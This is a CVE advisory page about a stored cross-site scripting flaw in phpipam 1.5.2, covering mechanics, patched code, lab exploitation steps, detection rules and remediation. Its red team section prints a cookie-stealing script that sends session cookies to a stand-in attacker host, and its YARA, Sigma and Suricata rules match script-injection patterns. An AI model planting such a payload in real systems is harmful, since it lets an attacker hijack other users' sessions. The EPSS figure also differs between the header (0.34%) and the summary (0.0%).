☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-10722

CVE-2024-10722 Cross-Site Scripting in Phpipam
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10722 is a stored cross-site scripting (XSS) vulnerability in phpipam version 1.5.2, affecting the 'Description' field of custom fields in the 'IP RELATED MANAGEMENT' section. An authenticated attacker with low privileges can inject malicious scripts that execute when other users view the affected field. This can lead to data theft, account compromise, malware distribution, website defacement, content manipulation, and phishing attacks. The vulnerability is fixed in version 1.7.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for internal deployments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Low (due to low CVSS score and EPSS probability)

Deep Dive & Mechanics

The vulnerability resides in the custom fields feature of phpipam's IP RELATED MANAGEMENT section. The 'Description' field does not properly sanitize user input before storing it in the database. When an administrator or other user views the IP address details, the stored description is rendered without proper encoding, allowing arbitrary HTML and JavaScript execution.

The attack flow:

  1. Attacker logs in with low-privileged credentials.
  2. Attacker navigates to IP RELATED MANAGEMENT and edits a custom field's description.
  3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>).
  4. The payload is stored in the database.
  5. When another user (including admins) views the IP address, the script executes in their browser.

This is a classic stored XSS (CWE-79) with a changed scope, meaning the impact can extend beyond the vulnerable application to the user's session and data.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2): The custom field description is likely output directly without escaping. For example, in a PHP template:

echo $custom_field['description'];

Patched Code (phpipam 1.7.0): The description is escaped using htmlspecialchars() or similar:

echo htmlspecialchars($custom_field['description'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy phpipam 1.5.2 in a lab environment (e.g., Docker).
  2. Authentication: Obtain low-privileged credentials (e.g., user/user).
  3. Payload: Use a simple XSS payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Injection: Navigate to IP RELATED MANAGEMENT > Custom Fields > Edit Description field of an existing IP address. Paste the payload and save.
  5. Trigger: Have an admin or other user view the IP address details. The script executes, exfiltrating cookies.

Blue Team

  1. Detection: Monitor for unusual script tags in custom field descriptions. Use WAF rules to block <script> tags in input fields.
  2. Hunting: Search database for HTML/JavaScript in custom_fields.description column.
  3. Response: If compromised, rotate all session tokens and audit user accounts.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from phpipam users.
  • Host: Log entries showing custom_fields.description containing <script> tags.
  • File: No specific file IOCs.
  • Registry: N/A

Detection Engineering

YARA Rule

rule phpipam_stored_xss_cve_2024_10722 {
    meta:
        description = "Detects stored XSS payloads in phpipam custom field descriptions"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-10722"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpipam Custom Field Description
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in phpipam custom field descriptions
author: Valters IT
date: 2025-04-17
logsource:
    category: application
    product: phpipam
detection:
    selection:
        field: custom_fields.description
        value|contains|re: '<script|on\w+=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10722 phpipam Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Upgrade: Immediately upgrade to phpipam version 1.7.0 or later.
  2. Input Validation: Implement strict input validation and output encoding for all user-supplied fields.
  3. WAF: Deploy a Web Application Firewall with rules to block XSS payloads.
  4. CSP: Implement Content Security Policy headers to restrict script execution.
  5. Audit: Review custom field descriptions for existing malicious content.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10722/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.